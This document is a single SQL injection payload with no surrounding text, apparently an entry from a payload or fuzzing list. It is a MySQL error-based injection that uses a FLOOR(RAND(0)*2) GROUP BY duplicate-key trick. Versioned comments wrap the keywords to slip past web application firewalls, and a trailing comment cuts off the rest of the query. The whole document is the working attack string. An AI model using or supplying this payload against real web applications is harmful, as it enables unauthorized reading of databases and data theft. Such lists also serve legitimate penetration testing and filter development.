1,(/*!50000SELECT*/7510/*!50000FROM*/(/*!50000SELECT*/ROW(7510,4744)>(/*!50000SELECT*//*!50000COUNT*/(*),/*!50000CONCAT*/(~,(/*!50000SELECT*/(ELT(7510=7510,1))),~,FLOOR(RAND(0)*2))x/*!50000FROM*/(/*!50000SELECT*/9788/*!50000UNION*//*!50000SELECT*/4538/*!50000UNION*//*!50000SELECT*/7584/*!50000UNION*//*!50000SELECT*/4194)a/*!50000GROUP*//*!50000BY*/x))s)– – 1